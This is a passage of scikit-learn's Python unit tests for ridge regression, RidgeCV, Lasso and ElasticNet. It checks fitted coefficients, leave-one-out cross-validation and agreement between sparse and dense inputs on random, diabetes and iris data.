    n_samples, n_features = 5, 4
    y = rng.randn(n_samples)
    X = rng.randn(n_samples, n_features)

    ridge = Ridge(alpha=0., fit_intercept=False)
    ols = LinearRegression(fit_intercept=False)

    ridge.fit(X, y)
    ols.fit(X, y)
    assert_almost_equal(ridge.coef_, ols.coef_)

    ridge.fit(X, y)
    ols.fit(X, y)
    assert_almost_equal(ridge.coef_, ols.coef_)


def test_ridge_individual_penalties():
    # Tests the ridge object using individual penalties

    rng = np.random.RandomState(42)

    n_samples, n_features, n_targets = 20, 10, 5
    X = rng.randn(n_samples, n_features)
    y = rng.randn(n_samples, n_targets)

    penalties = np.arange(n_targets)

    coef_cholesky = np.array([
        Ridge(alpha=alpha, solver="cholesky").fit(X, target).coef_
        for alpha, target in zip(penalties, y.T)])

    coefs_indiv_pen = [
        Ridge(alpha=penalties, solver=solver, tol=1e-8).fit(X, y).coef_
        for solver in ['svd', 'sparse_cg', 'lsqr', 'cholesky', 'sag']]
    for coef_indiv_pen in coefs_indiv_pen:
        assert_array_almost_equal(coef_cholesky, coef_indiv_pen)

    # Test error is raised when number of targets and penalties do not match.
    ridge = Ridge(alpha=penalties[:-1])
    assert_raises(ValueError, ridge.fit, X, y)


def _test_ridge_loo(filter_):
    # test that can work with both dense or sparse matrices
    n_samples = X_diabetes.shape[0]

    ret = []

    ridge_gcv = _RidgeGCV(fit_intercept=False)
    ridge = Ridge(alpha=1.0, fit_intercept=False)

    # generalized cross-validation (efficient leave-one-out)
    decomp = ridge_gcv._pre_compute(X_diabetes, y_diabetes)
    errors, c = ridge_gcv._errors(1.0, y_diabetes, *decomp)
    values, c = ridge_gcv._values(1.0, y_diabetes, *decomp)

    # brute-force leave-one-out: remove one example at a time
    errors2 = []
    values2 = []
    for i in range(n_samples):
        sel = np.arange(n_samples) != i
        X_new = X_diabetes[sel]
        y_new = y_diabetes[sel]
        ridge.fit(X_new, y_new)
        value = ridge.predict([X_diabetes[i]])[0]
        error = (y_diabetes[i] - value) ** 2
        errors2.append(error)
        values2.append(value)

    # check that efficient and brute-force LOO give same results
    assert_almost_equal(errors, errors2)
    assert_almost_equal(values, values2)

    # generalized cross-validation (efficient leave-one-out,
    # SVD variation)
    decomp = ridge_gcv._pre_compute_svd(X_diabetes, y_diabetes)
    errors3, c = ridge_gcv._errors_svd(ridge.alpha, y_diabetes, *decomp)
    values3, c = ridge_gcv._values_svd(ridge.alpha, y_diabetes, *decomp)

    # check that efficient and SVD efficient LOO give same results
    assert_almost_equal(errors, errors3)
    assert_almost_equal(values, values3)

    # check best alpha
    ridge_gcv.fit(filter_(X_diabetes), y_diabetes)
    alpha_ = ridge_gcv.alpha_
    ret.append(alpha_)

    # check that we get same best alpha with custom loss_func
    f = ignore_warnings
    scoring = make_scorer(mean_squared_error, greater_is_better=False)
    ridge_gcv2 = RidgeCV(fit_intercept=False, scoring=scoring)
    f(ridge_gcv2.fit)(filter_(X_diabetes), y_diabetes)
    assert_equal(ridge_gcv2.alpha_, alpha_)

    # check that we get same best alpha with custom score_func
    func = lambda x, y: -mean_squared_error(x, y)
    scoring = make_scorer(func)
    ridge_gcv3 = RidgeCV(fit_intercept=False, scoring=scoring)
    f(ridge_gcv3.fit)(filter_(X_diabetes), y_diabetes)
    assert_equal(ridge_gcv3.alpha_, alpha_)

    # check that we get same best alpha with a scorer
    scorer = get_scorer('mean_squared_error')
    ridge_gcv4 = RidgeCV(fit_intercept=False, scoring=scorer)
    ridge_gcv4.fit(filter_(X_diabetes), y_diabetes)
    assert_equal(ridge_gcv4.alpha_, alpha_)

    # check that we get same best alpha with sample weights
    ridge_gcv.fit(filter_(X_diabetes), y_diabetes,
                  sample_weight=np.ones(n_samples))
    assert_equal(ridge_gcv.alpha_, alpha_)

    # simulate several responses
    Y = np.vstack((y_diabetes, y_diabetes)).T

    ridge_gcv.fit(filter_(X_diabetes), Y)
    Y_pred = ridge_gcv.predict(filter_(X_diabetes))
    ridge_gcv.fit(filter_(X_diabetes), y_diabetes)
    y_pred = ridge_gcv.predict(filter_(X_diabetes))

    assert_array_almost_equal(np.vstack((y_pred, y_pred)).T,
                              Y_pred, decimal=5)

    return ret


def _test_ridge_cv(filter_):
    ridge_cv = RidgeCV()
    ridge_cv.fit(filter_(X_diabetes), y_diabetes)
    ridge_cv.predict(filter_(X_diabetes))

    assert_equal(len(ridge_cv.coef_.shape), 1)
    assert_equal(type(ridge_cv.intercept_), np.float64)

    cv = KFold(5)
    ridge_cv.set_params(cv=cv)
    ridge_cv.fit(filter_(X_diabetes), y_diabetes)
    ridge_cv.predict(filter_(X_diabetes))

    assert_equal(len(ridge_cv.coef_.shape), 1)
    assert_equal(type(ridge_cv.intercept_), np.float64)


def _test_ridge_diabetes(filter_):
    ridge = Ridge(fit_intercept=False)
    ridge.fit(filter_(X_diabetes), y_diabetes)
    return np.round(ridge.score(filter_(X_diabetes), y_diabetes), 5)


def _test_multi_ridge_diabetes(filter_):
    # simulate several responses
    Y = np.vstack((y_diabetes, y_diabetes)).T
    n_features = X_diabetes.shape[1]

    ridge = Ridge(fit_intercept=False)
    ridge.fit(filter_(X_diabetes), Y)
    assert_equal(ridge.coef_.shape, (2, n_features))
    Y_pred = ridge.predict(filter_(X_diabetes))
    ridge.fit(filter_(X_diabetes), y_diabetes)
    y_pred = ridge.predict(filter_(X_diabetes))
    assert_array_almost_equal(np.vstack((y_pred, y_pred)).T,
                              Y_pred, decimal=3)


def _test_ridge_classifiers(filter_):
    n_classes = np.unique(y_iris).shape[0]
    n_features = X_iris.shape[1]
    for reg in (RidgeClassifier(), RidgeClassifierCV()):
        reg.fit(filter_(X_iris), y_iris)
        assert_equal(reg.coef_.shape, (n_classes, n_features))
        y_pred = reg.predict(filter_(X_iris))
        assert_greater(np.mean(y_iris == y_pred), .79)

    cv = KFold(5)
    reg = RidgeClassifierCV(cv=cv)
    reg.fit(filter_(X_iris), y_iris)
    y_pred = reg.predict(filter_(X_iris))
    assert_true(np.mean(y_iris == y_pred) >= 0.8)


def _test_tolerance(filter_):
    ridge = Ridge(tol=1e-5, fit_intercept=False)
    ridge.fit(filter_(X_diabetes), y_diabetes)
    score = ridge.score(filter_(X_diabetes), y_diabetes)

    ridge2 = Ridge(tol=1e-3, fit_intercept=False)
    ridge2.fit(filter_(X_diabetes), y_diabetes)
    score2 = ridge2.score(filter_(X_diabetes), y_diabetes)

    assert_true(score >= score2)


def check_dense_sparse(test_func):
    # test dense matrix
    ret_dense = test_func(DENSE_FILTER)
    # test sparse matrix
    ret_sparse = test_func(SPARSE_FILTER)
    # test that the outputs are the same
    if ret_dense is not None and ret_sparse is not None:
        assert_array_almost_equal(ret_dense, ret_sparse, decimal=3)


def test_dense_sparse():
    for test_func in (_test_ridge_loo,
                      _test_ridge_cv,
                      _test_ridge_diabetes,
                      _test_multi_ridge_diabetes,
                      _test_ridge_classifiers,
                      _test_tolerance):
        yield check_dense_sparse, test_func


def test_ridge_cv_sparse_svd():
    X = sp.csr_matrix(X_diabetes)
    ridge = RidgeCV(gcv_mode="svd")
    assert_raises(TypeError, ridge.fit, X)


def test_ridge_sparse_svd():
    X = sp.csc_matrix(rng.rand(100, 10))
    y = rng.rand(100)
    ridge = Ridge(solver='svd', fit_intercept=False)
    assert_raises(TypeError, ridge.fit, X, y)


def test_class_weights():
    # Test class weights.
    X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                  [1.0, 1.0], [1.0, 0.0]])
    y = [1, 1, 1, -1, -1]

    reg = RidgeClassifier(class_weight=None)
    reg.fit(X, y)
    assert_array_equal(reg.predict([[0.2, -1.0]]), np.array([1]))

    # we give a small weights to class 1
    reg = RidgeClassifier(class_weight={1: 0.001})
    reg.fit(X, y)

    # now the hyperplane should rotate clock-wise and
    # the prediction on this point should shift
    assert_array_equal(reg.predict([[0.2, -1.0]]), np.array([-1]))

    # check if class_weight = 'balanced' can handle negative labels.
    reg = RidgeClassifier(class_weight='balanced')
    reg.fit(X, y)
    assert_array_equal(reg.predict([[0.2, -1.0]]), np.array([1]))

    # class_weight = 'balanced', and class_weight = None should return
    # same values when y has equal number of all labels
    X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0], [1.0, 1.0]])
    y = [1, 1, -1, -1]
    reg = RidgeClassifier(class_weight=None)
    reg.fit(X, y)
    rega = RidgeClassifier(class_weight='balanced')
    rega.fit(X, y)
    assert_equal(len(rega.classes_), 2)
    assert_array_almost_equal(reg.coef_, rega.coef_)
    assert_array_almost_equal(reg.intercept_, rega.intercept_)


def test_class_weight_vs_sample_weight():
    """Check class_weights resemble sample_weights behavior."""
    for reg in (RidgeClassifier, RidgeClassifierCV):

        # Iris is balanced, so no effect expected for using 'balanced' weights
        reg1 = reg()
        reg1.fit(iris.data, iris.target)
        reg2 = reg(class_weight='balanced')
        reg2.fit(iris.data, iris.target)
        assert_almost_equal(reg1.coef_, reg2.coef_)

        # Inflate importance of class 1, check against user-defined weights
        sample_weight = np.ones(iris.target.shape)
        sample_weight[iris.target == 1] *= 100
        class_weight = {0: 1., 1: 100., 2: 1.}
        reg1 = reg()
        reg1.fit(iris.data, iris.target, sample_weight)
        reg2 = reg(class_weight=class_weight)
        reg2.fit(iris.data, iris.target)
        assert_almost_equal(reg1.coef_, reg2.coef_)

        # Check that sample_weight and class_weight are multiplicative
        reg1 = reg()
        reg1.fit(iris.data, iris.target, sample_weight ** 2)
        reg2 = reg(class_weight=class_weight)
        reg2.fit(iris.data, iris.target, sample_weight)
        assert_almost_equal(reg1.coef_, reg2.coef_)


def test_class_weights_cv():
    # Test class weights for cross validated ridge classifier.
    X = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                  [1.0, 1.0], [1.0, 0.0]])
    y = [1, 1, 1, -1, -1]

    reg = RidgeClassifierCV(class_weight=None, alphas=[.01, .1, 1])
    reg.fit(X, y)

    # we give a small weights to class 1
    reg = RidgeClassifierCV(class_weight={1: 0.001}, alphas=[.01, .1, 1, 10])
    reg.fit(X, y)

    assert_array_equal(reg.predict([[-.2, 2]]), np.array([-1]))


def test_ridgecv_store_cv_values():
    # Test _RidgeCV's store_cv_values attribute.
    rng = rng = np.random.RandomState(42)

    n_samples = 8
    n_features = 5
    x = rng.randn(n_samples, n_features)
    alphas = [1e-1, 1e0, 1e1]
    n_alphas = len(alphas)

    r = RidgeCV(alphas=alphas, store_cv_values=True)

    # with len(y.shape) == 1
    y = rng.randn(n_samples)
    r.fit(x, y)
    assert_equal(r.cv_values_.shape, (n_samples, n_alphas))

    # with len(y.shape) == 2
    n_responses = 3
    y = rng.randn(n_samples, n_responses)
    r.fit(x, y)
    assert_equal(r.cv_values_.shape, (n_samples, n_responses, n_alphas))


def test_ridgecv_sample_weight():
    rng = np.random.RandomState(0)
    alphas = (0.1, 1.0, 10.0)

    # There are different algorithms for n_samples > n_features
    # and the opposite, so test them both.
    for n_samples, n_features in ((6, 5), (5, 10)):
        y = rng.randn(n_samples)
        X = rng.randn(n_samples, n_features)
        sample_weight = 1.0 + rng.rand(n_samples)

        cv = KFold(5)
        ridgecv = RidgeCV(alphas=alphas, cv=cv)
        ridgecv.fit(X, y, sample_weight=sample_weight)

        # Check using GridSearchCV directly
        parameters = {'alpha': alphas}
        fit_params = {'sample_weight': sample_weight}
        gs = GridSearchCV(Ridge(), parameters, fit_params=fit_params,
                          cv=cv)
        gs.fit(X, y)

        assert_equal(ridgecv.alpha_, gs.best_estimator_.alpha)
        assert_array_almost_equal(ridgecv.coef_, gs.best_estimator_.coef_)


def test_raises_value_error_if_sample_weights_greater_than_1d():
    # Sample weights must be either scalar or 1D

    n_sampless = [2, 3]
    n_featuress = [3, 2]

    rng = np.random.RandomState(42)

    for n_samples, n_features in zip(n_sampless, n_featuress):
        X = rng.randn(n_samples, n_features)
        y = rng.randn(n_samples)
        sample_weights_OK = rng.randn(n_samples) ** 2 + 1
        sample_weights_OK_1 = 1.
        sample_weights_OK_2 = 2.
        sample_weights_not_OK = sample_weights_OK[:, np.newaxis]
        sample_weights_not_OK_2 = sample_weights_OK[np.newaxis, :]

        ridge = Ridge(alpha=1)

        # make sure the "OK" sample weights actually work
        ridge.fit(X, y, sample_weights_OK)
        ridge.fit(X, y, sample_weights_OK_1)
        ridge.fit(X, y, sample_weights_OK_2)

        def fit_ridge_not_ok():
            ridge.fit(X, y, sample_weights_not_OK)

        def fit_ridge_not_ok_2():
            ridge.fit(X, y, sample_weights_not_OK_2)

        assert_raise_message(ValueError,
                             "Sample weights must be 1D array or scalar",
                             fit_ridge_not_ok)

        assert_raise_message(ValueError,
                             "Sample weights must be 1D array or scalar",
                             fit_ridge_not_ok_2)


def test_sparse_design_with_sample_weights():
    # Sample weights must work with sparse matrices

    n_sampless = [2, 3]
    n_featuress = [3, 2]

    rng = np.random.RandomState(42)

    sparse_matrix_converters = [sp.coo_matrix,
                                sp.csr_matrix,
                                sp.csc_matrix,
                                sp.lil_matrix,
                                sp.dok_matrix
                                ]

    sparse_ridge = Ridge(alpha=1., fit_intercept=False)
    dense_ridge = Ridge(alpha=1., fit_intercept=False)

    for n_samples, n_features in zip(n_sampless, n_featuress):
        X = rng.randn(n_samples, n_features)
        y = rng.randn(n_samples)
        sample_weights = rng.randn(n_samples) ** 2 + 1
        for sparse_converter in sparse_matrix_converters:
            X_sparse = sparse_converter(X)
            sparse_ridge.fit(X_sparse, y, sample_weight=sample_weights)
            dense_ridge.fit(X, y, sample_weight=sample_weights)

            assert_array_almost_equal(sparse_ridge.coef_, dense_ridge.coef_,
                                      decimal=6)


def test_raises_value_error_if_solver_not_supported():
    # Tests whether a ValueError is raised if a non-identified solver
    # is passed to ridge_regression

    wrong_solver = "This is not a solver (MagritteSolveCV QuantumBitcoin)"

    exception = ValueError
    message = "Solver %s not understood" % wrong_solver

    def func():
        X = np.eye(3)
        y = np.ones(3)
        ridge_regression(X, y, alpha=1., solver=wrong_solver)

    assert_raise_message(exception, message, func)


def test_sparse_cg_max_iter():
    reg = Ridge(solver="sparse_cg", max_iter=1)
    reg.fit(X_diabetes, y_diabetes)
    assert_equal(reg.coef_.shape[0], X_diabetes.shape[1])


@ignore_warnings
def test_n_iter():
    # Test that self.n_iter_ is correct.
    n_targets = 2
    X, y = X_diabetes, y_diabetes
    y_n = np.tile(y, (n_targets, 1)).T

    for max_iter in range(1, 4):
        for solver in ('sag', 'lsqr'):
            reg = Ridge(solver=solver, max_iter=max_iter, tol=1e-12)
            reg.fit(X, y_n)
            assert_array_equal(reg.n_iter_, np.tile(max_iter, n_targets))

    for solver in ('sparse_cg', 'svd', 'cholesky'):
        reg = Ridge(solver=solver, max_iter=1, tol=1e-1)
        reg.fit(X, y_n)
        assert_equal(reg.n_iter_, None)


def test_ridge_fit_intercept_sparse():
    X, y = make_regression(n_samples=1000, n_features=2, n_informative=2,
                           bias=10., random_state=42)
    X_csr = sp.csr_matrix(X)

    dense = Ridge(alpha=1., tol=1.e-15, solver='sag', fit_intercept=True)
    sparse = Ridge(alpha=1., tol=1.e-15, solver='sag', fit_intercept=True)
    dense.fit(X, y)
    sparse.fit(X_csr, y)
    assert_almost_equal(dense.intercept_, sparse.intercept_)
    assert_array_almost_equal(dense.coef_, sparse.coef_)

    # test the solver switch and the corresponding warning
    sparse = Ridge(alpha=1., tol=1.e-15, solver='lsqr', fit_intercept=True)
    assert_warns(UserWarning, sparse.fit, X_csr, y)
    assert_almost_equal(dense.intercept_, sparse.intercept_)
    assert_array_almost_equal(dense.coef_, sparse.coef_)


def test_errors_and_values_helper():
    ridgecv = _RidgeGCV()
    rng = check_random_state(42)
    alpha = 1.
    n = 5
    y = rng.randn(n)
    v = rng.randn(n)
    Q = rng.randn(len(v), len(v))
    QT_y = Q.T.dot(y)
    G_diag, c = ridgecv._errors_and_values_helper(alpha, y, v, Q, QT_y)

    # test that helper function behaves as expected
    out, c_ = ridgecv._errors(alpha, y, v, Q, QT_y)
    np.testing.assert_array_equal(out, (c / G_diag) ** 2)
    np.testing.assert_array_equal(c, c)

    out, c_ = ridgecv._values(alpha, y, v, Q, QT_y)
    np.testing.assert_array_equal(out, y - (c / G_diag))
    np.testing.assert_array_equal(c_, c)


def test_errors_and_values_svd_helper():
    ridgecv = _RidgeGCV()
    rng = check_random_state(42)
    alpha = 1.
    for n, p in zip((5, 10), (12, 6)):
        y = rng.randn(n)
        v = rng.randn(p)
        U = rng.randn(n, p)
        UT_y = U.T.dot(y)
        G_diag, c = ridgecv._errors_and_values_svd_helper(alpha, y, v, U, UT_y)

        # test that helper function behaves as expected
        out, c_ = ridgecv._errors_svd(alpha, y, v, U, UT_y)
        np.testing.assert_array_equal(out, (c / G_diag) ** 2)
        np.testing.assert_array_equal(c, c)

        out, c_ = ridgecv._values_svd(alpha, y, v, U, UT_y)
        np.testing.assert_array_equal(out, y - (c / G_diag))
        np.testing.assert_array_equal(c_, c)


def test_ridge_classifier_no_support_multilabel():
    X, y = make_multilabel_classification(n_samples=10, random_state=0)
    assert_raises(ValueError, RidgeClassifier().fit, X, y)






import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_true

from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import ignore_warnings

from sklearn.linear_model.coordinate_descent import (Lasso, ElasticNet,
                                                     LassoCV, ElasticNetCV)


def test_sparse_coef():
    # Check that the sparse_coef property works
    clf = ElasticNet()
    clf.coef_ = [1, 2, 3]

    assert_true(sp.isspmatrix(clf.sparse_coef_))
    assert_equal(clf.sparse_coef_.toarray().tolist()[0], clf.coef_)


def test_normalize_option():
    # Check that the normalize option in enet works
    X = sp.csc_matrix([[-1], [0], [1]])
    y = [-1, 0, 1]
    clf_dense = ElasticNet(fit_intercept=True, normalize=True)
    clf_sparse = ElasticNet(fit_intercept=True, normalize=True)
    clf_dense.fit(X, y)
    X = sp.csc_matrix(X)
    clf_sparse.fit(X, y)
    assert_almost_equal(clf_dense.dual_gap_, 0)
    assert_array_almost_equal(clf_dense.coef_, clf_sparse.coef_)


def test_lasso_zero():
    # Check that the sparse lasso can handle zero data without crashing
    X = sp.csc_matrix((3, 1))
    y = [0, 0, 0]
    T = np.array([[1], [2], [3]])
    clf = Lasso().fit(X, y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0])
    assert_array_almost_equal(pred, [0, 0, 0])
    assert_almost_equal(clf.dual_gap_,  0)


def test_enet_toy_list_input():
    # Test ElasticNet for various values of alpha and l1_ratio with list X

    X = np.array([[-1], [0], [1]])
    X = sp.csc_matrix(X)
    Y = [-1, 0, 1]       # just a straight line
    T = np.array([[2], [3], [4]])  # test sample

    # this should be the same as unregularized least squares
    clf = ElasticNet(alpha=0, l1_ratio=1.0)
    # catch warning about alpha=0.
    # this is discouraged but should work.
    ignore_warnings(clf.fit)(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [1])
    assert_array_almost_equal(pred, [2, 3, 4])
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.3, max_iter=1000)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.50819], decimal=3)
    assert_array_almost_equal(pred, [1.0163,  1.5245,  2.0327], decimal=3)
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.5)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.45454], 3)
    assert_array_almost_equal(pred, [0.9090,  1.3636,  1.8181], 3)
    assert_almost_equal(clf.dual_gap_, 0)


def test_enet_toy_explicit_sparse_input():
    # Test ElasticNet for various values of alpha and l1_ratio with sparse X
    f = ignore_warnings
    # training samples
    X = sp.lil_matrix((3, 1))
    X[0, 0] = -1
    # X[1, 0] = 0
    X[2, 0] = 1
    Y = [-1, 0, 1]       # just a straight line (the identity function)

    # test samples
    T = sp.lil_matrix((3, 1))
    T[0, 0] = 2
    T[1, 0] = 3
    T[2, 0] = 4

    # this should be the same as lasso
    clf = ElasticNet(alpha=0, l1_ratio=1.0)
    f(clf.fit)(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [1])
    assert_array_almost_equal(pred, [2, 3, 4])
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.3, max_iter=1000)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.50819], decimal=3)
    assert_array_almost_equal(pred, [1.0163,  1.5245,  2.0327], decimal=3)
    assert_almost_equal(clf.dual_gap_, 0)

    clf = ElasticNet(alpha=0.5, l1_ratio=0.5)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [0.45454], 3)
    assert_array_almost_equal(pred, [0.9090,  1.3636,  1.8181], 3)
    assert_almost_equal(clf.dual_gap_, 0)


def make_sparse_data(n_samples=100, n_features=100, n_informative=10, seed=42,
                     positive=False, n_targets=1):
    random_state = np.random.RandomState(seed)

    # build an ill-posed linear regression problem with many noisy features and
    # comparatively few samples

    # generate a ground truth model
    w = random_state.randn(n_features, n_targets)
    w[n_informative:] = 0.0  # only the top features are impacting the model
    if positive:
        w = np.abs(w)

    X = random_state.randn(n_samples, n_features)
    rnd = random_state.uniform(size=(n_samples, n_features))
    X[rnd > 0.5] = 0.0  # 50% of zeros in input signal

    # generate training ground truth labels
    y = np.dot(X, w)
    X = sp.csc_matrix(X)
    if n_targets == 1:
        y = np.ravel(y)
    return X, y


def _test_sparse_enet_not_as_toy_dataset(alpha, fit_intercept, positive):
    n_samples, n_features, max_iter = 100, 100, 1000
    n_informative = 10

    X, y = make_sparse_data(n_samples, n_features, n_informative,
                            positive=positive)

    X_train, X_test = X[n_samples // 2:], X[:n_samples // 2]
    y_train, y_test = y[n_samples // 2:], y[:n_samples // 2]

    s_clf = ElasticNet(alpha=alpha, l1_ratio=0.8, fit_intercept=fit_intercept,
                       max_iter=max_iter, tol=1e-7, positive=positive,
                       warm_start=True)
    s_clf.fit(X_train, y_train)

    assert_almost_equal(s_clf.dual_gap_, 0, 4)
    assert_greater(s_clf.score(X_test, y_test), 0.85)

    # check the convergence is the same as the dense version
    d_clf = ElasticNet(alpha=alpha, l1_ratio=0.8, fit_intercept=fit_intercept,
                       max_iter=max_iter, tol=1e-7, positive=positive,
                       warm_start=True)
    d_clf.fit(X_train.toarray(), y_train)

    assert_almost_equal(d_clf.dual_gap_, 0, 4)
    assert_greater(d_clf.score(X_test, y_test), 0.85)

    assert_almost_equal(s_clf.coef_, d_clf.coef_, 5)
    assert_almost_equal(s_clf.intercept_, d_clf.intercept_, 5)

    # check that the coefs are sparse
    assert_less(np.sum(s_clf.coef_ != 0.0), 2 * n_informative)


def test_sparse_enet_not_as_toy_dataset():
    _test_sparse_enet_not_as_toy_dataset(alpha=0.1, fit_intercept=False,
                                         positive=False)
    _test_sparse_enet_not_as_toy_dataset(alpha=0.1, fit_intercept=True,
                                         positive=False)
    _test_sparse_enet_not_as_toy_dataset(alpha=1e-3, fit_intercept=False,
                                         positive=True)
    _test_sparse_enet_not_as_toy_dataset(alpha=1e-3, fit_intercept=True,
                                         positive=True)


def test_sparse_lasso_not_as_toy_dataset():
    n_samples = 100
    max_iter = 1000
    n_informative = 10
    X, y = make_sparse_data(n_samples=n_samples, n_informative=n_informative)

    X_train, X_test = X[n_samples // 2:], X[:n_samples // 2]
    y_train, y_test = y[n_samples // 2:], y[:n_samples // 2]

    s_clf = Lasso(alpha=0.1, fit_intercept=False, max_iter=max_iter, tol=1e-7)
    s_clf.fit(X_train, y_train)
    assert_almost_equal(s_clf.dual_gap_, 0, 4)
    assert_greater(s_clf.score(X_test, y_test), 0.85)

    # check the convergence is the same as the dense version
    d_clf = Lasso(alpha=0.1, fit_intercept=False, max_iter=max_iter, tol=1e-7)
    d_clf.fit(X_train.toarray(), y_train)
    assert_almost_equal(d_clf.dual_gap_, 0, 4)
    assert_greater(d_clf.score(X_test, y_test), 0.85)

    # check that the coefs are sparse
    assert_equal(np.sum(s_clf.coef_ != 0.0), n_informative)


def test_enet_multitarget():
    n_targets = 3
    X, y = make_sparse_data(n_targets=n_targets)

    estimator = ElasticNet(alpha=0.01, fit_intercept=True, precompute=None)
    # XXX: There is a bug when precompute is not None!
    estimator.fit(X, y)
    coef, intercept, dual_gap = (estimator.coef_,
                                 estimator.intercept_,
                                 estimator.dual_gap_)

    for k in range(n_targets):
        estimator.fit(X, y[:, k])
        assert_array_almost_equal(coef[k, :], estimator.coef_)
        assert_array_almost_equal(intercept[k], estimator.intercept_)
        assert_array_almost_equal(dual_gap[k], estimator.dual_gap_)


def test_path_parameters():
    X, y = make_sparse_data()
    max_iter = 50
    n_alphas = 10
    clf = ElasticNetCV(n_alphas=n_alphas, eps=1e-3, max_iter=max_iter,
                       l1_ratio=0.5, fit_intercept=False)
    ignore_warnings(clf.fit)(X, y)  # new params
    assert_almost_equal(0.5, clf.l1_ratio)
    assert_equal(n_alphas, clf.n_alphas)
    assert_equal(n_alphas, len(clf.alphas_))
    sparse_mse_path = clf.mse_path_
    ignore_warnings(clf.fit)(X.toarray(), y)  # compare with dense data
    assert_almost_equal(clf.mse_path_, sparse_mse_path)


def test_same_output_sparse_dense_lasso_and_enet_cv():
    X, y = make_sparse_data(n_samples=40, n_features=10)
    for normalize in [True, False]:
        clfs = ElasticNetCV(max_iter=100, cv=5, normalize=normalize)
        ignore_warnings(clfs.fit)(X, y)
        clfd = ElasticNetCV(max_iter=100, cv=5, normalize=normalize)
        ignore_warnings(clfd.fit)(X.toarray(), y)
        assert_almost_equal(clfs.alpha_, clfd.alpha_, 7)
        assert_almost_equal(clfs.intercept_, clfd.intercept_, 7)
        assert_array_almost_equal(clfs.mse_path_, clfd.mse_path_)
        assert_array_almost_equal(clfs.alphas_, clfd.alphas_)

        clfs = LassoCV(max_iter=100, cv=4, normalize=normalize)
        ignore_warnings(clfs.fit)(X, y)
        clfd = LassoCV(max_iter=100, cv=4, normalize=normalize)
        ignore_warnings(clfd.fit)(X.toarray(), y)
        assert_almost_equal(clfs.alpha_, clfd.alpha_, 7)
        assert_almost_equal(clfs.intercept_, clfd.intercept_, 7)
        assert_array_almost_equal(clfs.mse_path_, clfd.mse_path_)
        assert_array_almost_equal(clfs.alphas_, clfd.alphas_)


def test_same_multiple_output_sparse_dense():
    for normalize in [True, False]:
        l = ElasticNet(normalize=normalize)
        X = [[0, 1, 2, 3, 4],
             [0, 2, 5, 8, 11],
             [9, 10, 11, 12, 13],
             [10, 11, 12, 13, 14]]
        y = [[1, 2, 3, 4, 5],
             [1, 3, 6, 9, 12],
             [10, 11, 12, 13, 14],
             [11, 12, 13, 14, 15]]
        ignore_warnings(l.fit)(X, y)
        sample = np.array([1, 2, 3, 4, 5]).reshape(1, -1)
        predict_dense = l.predict(sample)

        l_sp = ElasticNet(normalize=normalize)
        X_sp = sp.coo_matrix(X)
        ignore_warnings(l_sp.fit)(X_sp, y)
        sample_sparse = sp.coo_matrix(sample)
        predict_sparse = l_sp.predict(sample_sparse)

        assert_array_almost_equal(predict_sparse, predict_dense)






# Authors: Olivier Grisel <olivier.grisel@ensta.org>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

from sys import version_info

import numpy as np
from scipy import interpolate, sparse
from copy import deepcopy

from sklearn.datasets import load_boston
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import TempMemmap

from sklearn.linear_model.coordinate_descent import Lasso, \
    LassoCV, ElasticNet, ElasticNetCV, MultiTaskLasso, MultiTaskElasticNet, \
    MultiTaskElasticNetCV, MultiTaskLassoCV, lasso_path, enet_path
from sklearn.linear_model import LassoLarsCV, lars_path
from sklearn.utils import check_array


def check_warnings():
    if version_info < (2, 6):
        raise SkipTest("Testing for warnings is not supported in versions \
        older than Python 2.6")


def test_lasso_zero():
    # Check that the lasso can handle zero data without crashing
    X = [[0], [0], [0]]
    y = [0, 0, 0]
    clf = Lasso(alpha=0.1).fit(X, y)
    pred = clf.predict([[1], [2], [3]])
    assert_array_almost_equal(clf.coef_, [0])
    assert_array_almost_equal(pred, [0, 0, 0])
    assert_almost_equal(clf.dual_gap_, 0)


def test_lasso_toy():
    # Test Lasso on a toy example for various values of alpha.
    # When validating this against glmnet notice that glmnet divides it
    # against nobs.

    X = [[-1], [0], [1]]
    Y = [-1, 0, 1]       # just a straight line
    T = [[2], [3], [4]]  # test sample

    clf = Lasso(alpha=1e-8)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [1])
    assert_array_almost_equal(pred, [2, 3, 4])
    assert_almost_equal(clf.dual_gap_, 0)

    clf = Lasso(alpha=0.1)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [.85])
    assert_array_almost_equal(pred, [1.7, 2.55, 3.4])
    assert_almost_equal(clf.dual_gap_, 0)

    clf = Lasso(alpha=0.5)
    clf.fit(X, Y)
    pred = clf.predict(T)
    assert_array_almost_equal(clf.coef_, [.25])
    assert_array_almost_equal(pred, [0.5, 0.75, 1.])
